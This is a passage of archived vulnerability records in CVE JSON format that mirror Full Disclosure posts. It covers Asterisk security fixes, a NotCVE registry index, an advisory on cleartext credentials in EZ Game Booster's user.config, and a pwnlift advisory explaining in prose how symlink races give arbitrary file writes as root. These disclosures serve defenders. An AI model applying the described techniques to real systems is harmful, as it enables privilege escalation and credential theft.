those pointers will be invalid which can cause use-after-free\n  issues. To prevent this, filter_on_tx_message() now uses pj_strdup with the\n  tdata-\u003epool as the backing store to save the local IP address to the local\n  variable.  pj_strassign() can then be used safely later on since the tdata\n  will be available for the life of the transaction.\n\n  Resolves: #GHSA-g8q2-p36q-94f6\n\n#### ooh323c/ooq931.c: Ensure ooQ931Decode doesn\u0027t run out-of-bounds.\n  Author: George Joseph\n  Date:   2026-06-02\n\n  Several bounds checks have been edded to ooQ931Decode to prevent it from\n  running past the end of the data buffer when parsing information elements.\n\n  Resolves: #GHSA-746q-794h-cc7f\n\n#### ARI: Make ARI applications respect live_dangerously.\n  Author: George Joseph\n  Date:   2026-05-21\n\n  DeveloperNote: ARI applications can no longer call \"dangerous\" dialplan\n  functions like DB(), FILE(), SHELL(), CURL(), STAT(), etc. without\n  enabling \"live_dangerously\" in asterisk.conf.\n\n  Resolves: #GHSA-vrfp-mg3q-3959\n\n#### res_rtp_asterisk.c: Address 2 potential T.140 RED buffer overruns.\n  Author: George Joseph\n  Date:   2026-04-27\n\n  * Add check to red_t140_to_red() to ensure that the new primary payload\n  can\u0027t cause the rtp_red-\u003elen array items to wrap or cause an overrun of\n  the rtp_red-\u003et140red_data buffer.\n\n  * Add check to rtp_red_buffer() to ensure that a T.140 frame to be sent\n  can\u0027t cause rtp_red-\u003elen array items to wrap or cause an overrun of\n  the rtp_red-\u003ebuf_data buffer.\n\n  Resolves: #GHSA-vfhr-r9x9-c687\n  Resolves: #GHSA-j2mm-57pq-jh94\n\n#### res"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-07T13:20:22Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/1"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jul/1"
        },
        {
          "url": "https://downloads.asterisk.org/pub/telephony/certified-asterisk"
        },
        {
          "url": "https://downloads.asterisk.org/pub/telephony/certified-asterisk/asterisk-certified-20.7-cert11.tar.gz"
        },
        {
          "url": "https://downloads.asterisk.org/pub/telephony/certified-asterisk/releases/ChangeLog-certified-20.7-cert11.html"
        },
        {
          "url": "https://github.com/asterisk/asterisk"
        },
        {
          "url": "https://github.com/asterisk/asterisk/compare/certified-20.7-cert10...certified-20.7-cert11"
        },
        {
          "url": "https://github.com/asterisk/asterisk/releases/tag/certified-20.7-cert11"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-3g56-cgrh-95p5"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-3rhj-hhw7-m6fw"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-4pgv-j3mr-3rcp"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-589g-qgf8-m6mx"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-746q-794h-cc7f"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-8jhw-m2hg-vp3h"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-8jw3-ccr9-xrmf"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-g8q2-p36q-94f6"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-j2mm-57pq-jh94"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-mxgm-8c6f-5p8f"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-ph27-3m5q-mj5m"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-q9fr-m7g8-6ph5"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-qf8j-jp7h-c5hx"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-r6c2-hwc2-j4mp"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-vfhr-r9x9-c687"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-vrfp-mg3q-3959"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-x348-j6c9-77f3"
        },
        {
          "url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-xgj6-2gc5-5x9c"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jul/1"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Certified Asterisk Security Release certified-20.7-cert11",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0106",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/1",
            "automated": true,
            "contentSha256": "33e321af68b39ad863250cc1696071890df3f94da280f82802e86a7366e1b043",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jul/1",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-06-25T17:08:07Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:22Z",
    "dateUpdated": "2026-09-07T13:20:22Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0106"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "NotCVE registry index",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "NotCVE Advisories"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "----------------------------------------------------------------------------\nNotCVE Registry Index \u2014 2026-07-16\n----------------------------------------------------------------------------\n\n[-] About the NotCVE registry:\n\nNotCVE (https://notcve.org) assigns public identifiers to real, verifiable\nvulnerabilities that did not receive a CVE \u2014 typically because the affected\nvendor did not acknowledge the issue. Each record preserves the technical\ndetails, affected products and disclosure timeline, and is never deleted: if\na CVE is assigned later, the entry keeps the original dates and cross-\nreferences it.\n\nA recent example: NotCVE-2026-0001 (Cloudflare Universal SSL CAA\naugmentation, published 2026-01-19 without a CVE) was assigned\nCVE-2026-14440 by the vendor 163 days later \u2014 which is exactly what this\nregistry is for. The original disclosure timeline is preserved. Details:\nhttps://seclists.org/fulldisclosure/2026/Jul/22\n\n[-] Current records:\n\n[2026]\n\n- Windows NTFS self-healing duplicate-name handling may allow delayed\n  reparse point exposure from crafted file system images (CVSS 6.3)\n  https://notcve.org/notcve/NotCVE-2026-0008\n- Schlage/Allegion HandPunch Missing Authentication in TCP/3001 Management\n  Protocol Allows Unauthenticated Remote Supervisor Enrollment and Data\n  Disclosure (CVSS 9.8)\n  https://notcve.org/notcve/NotCVE-2026-0007\n- Hardcoded JWT Secret in ClawVet API Allows Session Token Forgery for\n  Existing Users (CVSS 9.8)\n  https://notcve.org/notcve/NotCVE-2026-0006\n- Authenticated OS Command Injection via SSID in TP-Link TL-WR741ND V5 Web\n  Management Interface (CVSS 8)\n  https://notcve.org/notcve/NotCVE-2026-0005\n- BestCrypt Volume Encryption improper signature-based sector bypass allows\n  limited cleartext disclosure and plaintext injection (CVSS 5.7)\n  https://notcve.org/notcve/NotCVE-2026-0004\n- Deno @std/path isGlob quadratic runtime DoS prior to 1.1.2 (CVSS 5.9)\n  https://notcve.org/notcve/NotCVE-2026-0003\n- NetScaler ADC (VPX) before 14.1-60.52 missing SSH host key validation in\n  HA/HA-INC synchronization can enable adversary-in-the-middle and root code\n  execution (CVSS 7.5)\n  https://notcve.org/notcve/NotCVE-2026-0002\n- Cloudflare Universal SSL CAA augmentation may enable unauthorized DV\n  certificate issuance by weakening RFC 8657 account binding (CVSS 8.7)\n  https://notcve.org/notcve/NotCVE-2026-0001\n\n[2025]\n\n- Use of Vulnerable Go os.RemoveAll Enables Arbitrary Volume Deletion in\n  Kubernetes (CVSS 7.5)\n  https://notcve.org/notcve/NotCVE-2025-0003\n- Symlink Race in Go os.RemoveAll Allows Privileged File Deletion (CVSS 7.5)\n  https://notcve.org/notcve/NotCVE-2025-0004\n- IBM Instana /auth/SignIn returnUrl Parameter Open Redirect (CVSS 4.1)\n  https://notcve.org/notcve/NotCVE-2025-0002\n- Docker Bridge Insufficient Isolation Allows LAN Access to Unpublished\n  Ports (CVSS 6.5)\n  https://notcve.org/notcve/NotCVE-2025-0001\n\n[2024]\n\n- Linux ASLR Weakness: Improper Bit-Mask Manipulation Reducing mmap Entropy\n  by Half (CVSS 5.3)\n  https://notcve.org/notcve/NotCVE-2024-0001\n- AMD Bulldozer Linux ASLR weakness: Reducing entropy by 87.5% (CVSS 5.3)\n  https://notcve.org/notcve/NotCVE-2024-0002\n\n[2023]\n\n- RSA signature verification bypass via Arbitrary Code Execution in Sansa\n  Connect bootloader (CVSS 6.2)\n  https://notcve.org/notcve/NotCVE-2023-0003\n- Buffer overflow in NVD Tools (CVSS 7.5)\n  https://notcve.org/notcve/NotCVE-2023-0002\n- Secure Boot Bypass in MSM8916/APQ8016 Mobile SoC (CVSS 7.6)\n  https://notcve.org/notcve/NotCVE-2023-0001\n\n[-] What is next:\n\nEach record will also be published individually on this list as a full\nadvisory (technical description, affected versions, timeline and\nreferences), and new NotCVE IDs will be announced here as they are assigned.\n\n[-] Requesting a NotCVE ID:\n\nIf you found a real, verifiable vulnerability and could not obtain a CVE for\nit, you can request a NotCVE identifier at https://notcve.org/form/.\nAnonymous and pseudonymous submissions are accepted. Submissions are\nreviewed before publication, and researchers are credited in the NotCVE Hall\nof Fame: https://notcve.org/hall/\n\n--\nNotCVE Advisories\nadvisories () notcve org \u00b7 https://notcve.org\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-07T13:20:22Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/23"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jul/23"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://notcve.org"
        },
        {
          "url": "https://notcve.org/form/"
        },
        {
          "url": "https://notcve.org/hall/"
        },
        {
          "url": "https://notcve.org/notcve/NotCVE-2023-0001"
        },
        {
          "url": "https://notcve.org/notcve/NotCVE-2023-0002"
        },
        {
          "url": "https://notcve.org/notcve/NotCVE-2023-0003"
        },
        {
          "url": "https://notcve.org/notcve/NotCVE-2024-0001"
        },
        {
          "url": "https://notcve.org/notcve/NotCVE-2024-0002"
        },
        {
          "url": "https://notcve.org/notcve/NotCVE-2025-0001"
        },
        {
          "url": "https://notcve.org/notcve/NotCVE-2025-0002"
        },
        {
          "url": "https://notcve.org/notcve/NotCVE-2025-0003"
        },
        {
          "url": "https://notcve.org/notcve/NotCVE-2025-0004"
        },
        {
          "url": "https://notcve.org/notcve/NotCVE-2026-0001"
        },
        {
          "url": "https://notcve.org/notcve/NotCVE-2026-0002"
        },
        {
          "url": "https://notcve.org/notcve/NotCVE-2026-0003"
        },
        {
          "url": "https://notcve.org/notcve/NotCVE-2026-0004"
        },
        {
          "url": "https://notcve.org/notcve/NotCVE-2026-0005"
        },
        {
          "url": "https://notcve.org/notcve/NotCVE-2026-0006"
        },
        {
          "url": "https://notcve.org/notcve/NotCVE-2026-0007"
        },
        {
          "url": "https://notcve.org/notcve/NotCVE-2026-0008"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://seclists.org/fulldisclosure/2026/Jul/22"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jul/23"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "NotCVE registry index \u2014 public records of vulnerabilities that shipped without a CVE",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0104",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/23",
            "automated": true,
            "contentSha256": "a9b82ce52f21ef65054e0601c4716a93cda0ddd4dcbdca6b108b562fb7523c47",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jul/23",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-07-16T07:55:12Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:22Z",
    "dateUpdated": "2026-09-07T13:20:22Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0104"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Subject Advisory Submission",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "AliReza"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "# Exploit Title: EZ Game Booster v1.0.0 - Cleartext Credentials in user.config\n# Date: 2026-07-16\n# Exploit Author: Alireza Chegini\n# Vendor Homepage: https://ezsystemrepairs.com\n# Software Link: https://ezsystemrepairs.com (Free version available)\n# Version: 1.0.0 (v2.0 exists but not tested - paid license required)\n# Tested on: Windows 10 / Windows 11\n# CVE: Pending\n============================================================\n\n1. Description\n   EZ Game Booster v1.0.0 stores user credentials (username, password,\n   email, licenseKey) in plaintext within a .NET user.config file.\n   This is a CWE-312 vulnerability allowing local credential theft.\n\n2. Affected File Path\n   C:\\Users\\%USERNAME%\\AppData\\Local\\ezgamebooster\\\n   ezgamebooster_Url_fgj2qz5coiw33xftcp3agaqkgxc51bkk\\1.0.0.0\\user.config\n\n3. Exposed Fields (stored in cleartext)\n   - username\n   - password\n   - email\n   - fullname\n   - licenseKey\n   - machineCode\n\n4. Sample user.config Structure\nThe following is the exact content of the user.config file found on\nthe researcher\u2019s system:\n\u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e\n\u003cconfiguration\u003e\n\u003cuserSettings\u003e\n\u003cezgamebooster.My.MySettings\u003e\n\u003csetting name=\"username\" serializeAs=\"String\"\u003e\n\u003cvalue\u003enimaarek\u003c/value\u003e\n\u003c/setting\u003e\n\u003csetting name=\"password\" serializeAs=\"String\"\u003e\n\u003cvalue\u003eCanYouSeeMyPassword?!\u003c/value\u003e\n\u003c/setting\u003e\n\u003csetting name=\"machineCode\" serializeAs=\"String\"\u003e\n\u003cvalue\u003eN414NBC****BDBMB\u003c/value\u003e\n\u003c/setting\u003e\n\u003csetting name=\"role\" serializeAs=\"String\"\u003e\n\u003cvalue\u003eFree\u003c/value\u003e\n\u003c/setting\u003e\n\u003csetting name=\"active\" serializeAs=\"String\"\u003e\n\u003cvalue\u003e2026-07-15 16:38:52\u003c/value\u003e\n\u003c/setting\u003e\n\u003csetting name=\"created_at\" serializeAs=\"String\"\u003e\n\u003cvalue\u003e2026-07-15 16:38:52\u003c/value\u003e\n\u003c/setting\u003e\n\u003csetting name=\"email\" serializeAs=\"String\"\u003e\n\u003cvalue\u003enim44r3k () gmail com\u003c/value\u003e\n\u003c/setting\u003e\n\u003csetting name=\"fullname\" serializeAs=\"String\"\u003e\n\u003cvalue\u003eAliReza Chegini\u003c/value\u003e\n\u003c/setting\u003e\n\u003csetting name=\"subinfo\" serializeAs=\"String\"\u003e\n\u003cvalue\u003eBasic\u003c/value\u003e\n\u003c/setting\u003e\n\u003csetting name=\"usernameChanged\" serializeAs=\"String\"\u003e\n\u003cvalue\u003eTrue\u003c/value\u003e\n\u003c/setting\u003e\n\u003csetting name=\"rememberMe\" serializeAs=\"String\"\u003e\n\u003cvalue\u003eTrue\u003c/value\u003e\n\u003c/setting\u003e\n\u003csetting name=\"licenseKey\" serializeAs=\"String\"\u003e\n\u003cvalue\u003eA325-****-B084-****\u003c/value\u003e\n\u003c/setting\u003e\n\u003csetting name=\"isLoggedIn\" serializeAs=\"String\"\u003e\n\u003cvalue\u003eFalse\u003c/value\u003e\n\u003c/setting\u003e\n\u003c/ezgamebooster.My.MySettings\u003e\n\u003c/userSettings\u003e\n\u003c/configuration\u003e\n\n5. Impact\n   - Credential theft via local file read\n   - Credential stuffing attacks on other platforms\n   - License key theft for unauthorized activation\n\n6. Steps to Reproduce\n   a. Install and run EZ Game Booster v1.0.0\n   b. Create an account or log in\n   c. Browse to: %LOCALAPPDATA%\\ezgamebooster\\\n      ezgamebooster_Url_fgj2qz5coiw33xftcp3agaqkgxc51bkk\\1.0.0.0\\\n   d. Open user.config with Notepad\n   e. Observe plaintext password, email, and licenseKey\n\n7. Remediation\n   Encrypt sensitive data using DPAPI before serialization.\n   Use Windows Credential Manager for credential storage.\n\n8. Author\u0027s Note on Discovery\n   \"I discovered this while uninstalling the software and checking for\n   leftover files. I was not performing any targeted security research\n   at the time \u2014 I simply found my credentials in plaintext by accident.\"\n\n\nBest regards,\nAliReza Chegini - nimaarek\nnim44r3k () gmail com - priv8 () tuta io\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-312",
              "description": "CWE-312",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-07T13:20:22Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/21"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jul/21"
        },
        {
          "url": "https://ezsystemrepairs.com"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jul/21"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Subject: Advisory Submission: EZ Game Booster - Cleartext Storage of Sensitive Credentials (CWE-312)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0103",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/21",
            "automated": true,
            "contentSha256": "80227aec16dd9d88bf81836efb7b5f4713a56899de1337982b61deee3e06b5a3",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jul/21",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-07-16T01:47:06Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:22Z",
    "dateUpdated": "2026-09-07T13:20:22Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0103"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "pwnlift symlink following",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Greg via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "1. Advisory information\n-----------------------\nTitle:  Symlink following and TOCTOU in pwnlift upload handler allow arbitrary file write as root\nAdvisory: https://github.com/GregDurys/security-advisories\nGHSA: GHSA-2v7v-rhpw-m9w4\nCVE: CVE-2026-56815\nClass:  CWE-59 (Improper Link Resolution Before File Access), \nCWE-367 (Time-of-check Time-of-use Race Condition)\nCVSS:  7.8 (High) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\nDate:  2026-06-27\nAuthor:  Greg Durys \u003chttps://github.com/GregDurys\u003e\n\n\n2. Affected software\n--------------------\nProject:  pwnlift\nRepository: https://github.com/rasta-mouse/pwnlift\nRuntime:  .NET / Blazor (ASP.NET Core, Kestrel)\nComponent:  pwnlift/Components/Pages/Home.razor\nTested:  commit 211f2b3 (2025-08-29)\nFix: d7a95449d9ee1ea09ec1529286685f6187afbbed (merged 2026-06-18),\n(initial remediation e3eddac addresses CWE-59 but not CWE-367)\n\n\n3. Testing scope\n----------------\nAll exploitation testing was performed in a local testbed. The known\naffected downstream lab deployment has been mitigated by removing the\nprivileged sudo entry. The upstream follow-up fix has been merged.\n\n\n4. Summary\n----------\npwnlift is a small .NET/Blazor file upload server. Its upload handler\nconstructs the destination path from the caller\u0027s working directory\n(Directory.GetCurrentDirectory()) and writes uploaded files without\nvalidating symlinks, canonicalising paths, or sanitising filenames.\n\nWhen pwnlift runs as root via sudo without a cwd= directive, a local\nuser can exploit this in two ways:\n\n  (a) Symlink following (CWE-59): pre-stage an Uploads symlink\n      pointing at a privileged directory. The elevated process follows\n      the symlink and writes uploaded files into the target.\n\n  (b) TOCTOU bypass of initial fix (CWE-367): the initial fix added\n      a ReparsePoint check and StartsWith containment. Because the\n      destination is still caller-controlled, a race script alternates\n      Uploads between a real directory (passes the check) and a symlink\n      (catches the write). The StartsWith check has a separate flaw:\n      prefix matching without a trailing separator means\n      /tmp/Uploads-evil passes StartsWith(\"/tmp/Uploads\").\n\nBoth variants achieve arbitrary file write as root. For example,\nwriting to a privileged configuration path such as /etc/sudoers.d/\ncan grant the attacker full passwordless sudo.\n\n\n5. Remediation\n--------------\nReplace Directory.GetCurrentDirectory() with AppContext.BaseDirectory.\nEnforce path containment with Path.GetRelativePath rather than\nStartsWith. Retain the ReparsePoint check as defence in depth. Ensure\nthe application directory and Uploads are root-owned and not writable\nby lower-privileged users. If Uploads already exists as a symlink,\nremove and recreate it as a real directory before applying ownership\nchanges.\n\n\n6. Disclosure timeline\n----------------------\n2026-04-30  Privileged deployment observed during normal lab usage\n2026-05-07  Initial contact with upstream maintainer\n2026-05-08  Reproduced end-to-end in local testbed; reported to upstream maintainer and downstream deployment operator\n2026-05-12  Initial fix committed upstream (e3eddac) with reporter credit\n2026-05-19  Downstream operator declined CVE on CNA scope grounds\n2026-05-20  TOCTOU bypass reproduced and reported to maintainer\n2026-05-28  Downstream operator confirmed lab patched, sudo removed\n2026-05-30  CVE requested via GHSA\n2026-06-09  GitHub rejected CVE request\n2026-06-09  GHSA re-review requested\n2026-06-15  CVE request submitted to MITRE\n2026-06-18  Follow-up fix merged upstream; CVE re-requested via GHSA\n2026-06-19  GitHub rejected second CVE request\n2026-06-22  GHSA advisory published without a CVE\n2026-06-23  Advisory posted to oss-security\n2026-06-23  MITRE assigned CVE-2026-56815\n\n\n7. Current status\n-----------------\nDownstream deployment: patched (sudo entry removed, 28 May 2026)\nUpstream final fix: merged (d7a9544, 18 June 2026)\nCVE: CVE-2026-56815 (assigned by MITRE, 23 June 2026)\n\n\n8. References\n-------------\n- https://github.com/rasta-mouse/pwnlift\n- https://github.com/rasta-mouse/pwnlift/commit/e3eddaca42b4b3e9c69f2d7aa024b6c82e27a5a2\n- https://github.com/rasta-mouse/pwnlift/commit/d7a95449d9ee1ea09ec1529286685f6187afbbed\n- https://github.com/rasta-mouse/pwnlift/security/advisories/GHSA-2v7v-rhpw-m9w4\n- https://www.openwall.com/lists/oss-security/2026/06/23/2\n- https://github.com/GregDurys/security-advisories\n- https://payloadforge.io/beyond-crto-pwnlift/\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-367",
              "description": "CWE-367",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-59",
              "description": "CWE-59",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-07T13:20:21Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/10"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jul/10"
        },
        {
          "url": "https://github.com/GregDurys"
        },
        {
          "url": "https://github.com/GregDurys/security-advisories"
        },
        {
          "url": "https://github.com/rasta-mouse/pwnlift"
        },
        {
          "url": "https://github.com/rasta-mouse/pwnlift/commit/d7a95449d9ee1ea09ec1529286685f6187afbbed"
        },
        {
          "url": "https://github.com/rasta-mouse/pwnlift/commit/e3eddaca42b4b3e9c69f2d7aa024b6c82e27a5a2"
        },
        {
          "url": "https://github.com/rasta-mouse/pwnlift/security/advisories/GHSA-2v7v-rhpw-m9w4"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://payloadforge.io/beyond-crto-pwnlift/"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.openwall.com/lists/oss-security/2026/06/23/2"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jul/10"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "pwnlift: symlink following and TOCTOU in privileged upload handler allow arbitrary file write as root",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0095",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/10",
            "automated": true,
            "contentSha256": "0e587829355ffb3897c681893ea07a8e562007fe85cbd4c465bd4ac0631b48f2",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jul/10",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-06-27T11:36:46Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:21Z",
    "dateUpdated": "2026-09-07T13:20:21Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0095"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}